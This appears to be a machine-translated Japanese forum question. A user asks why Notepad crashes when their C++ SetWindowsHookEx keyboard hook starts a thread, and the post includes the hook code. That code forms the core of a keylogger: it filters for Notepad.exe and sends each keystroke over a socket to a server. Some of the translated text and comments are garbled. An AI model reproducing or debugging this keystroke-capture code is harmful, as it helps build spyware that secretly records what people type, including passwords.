SetWindowsHookExを使用してNotepad.exeをキーボードフックしようとしています。Notepad.exeをフックしようとしています
ご覧のとおり、ワーキングスレッドは、wParamであるASCIIコードを指定されたサーバーに送信しています。
UINT WINAPI SendToServer(LPVOID lpParam)
{
CSocket Client;
Client.Create();
Client.Connect("localhost", 6677);
Client.Send(lpParam, 2); // sending its ASICI code to Server
Client.Close();
return 0;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR szPath[MAX_PATH] = {0,};
TCHAR* p = nullptr;
if(nCode >= 0)
{
// bit 31 : 0 => press, 1 => release
if(!(lParam & 0x80000000))
{
GetModuleFileName(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');
if(!_stricmp(p + 1, "Notepad.exe"))
{
unsigned ThreadID;
g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread
return 0;
}
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
問題は、新しい作業スレッドに関連するいくつかの理由のために、メモ帳は、重大なエラーが発生し、ある(私は「無視」ボタンを数回クリックした場合、それはちょっとかかわらず動作します。)
私は削除以下、このライン、
g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread
は、その後エラーはすべてのヘルプは非常に高く評価されるだろうメモ帳
から発生していません。
ありがとうございます。
に存在する場所と一致するようにパスを変更 だけのために使用されますが、これはC#のですか?私にとってはC++のように見えます。 –
申し訳ありません、C++です。 C#タグを追加しませんでした。なぜC#タグが追加されたのか分かりません。 –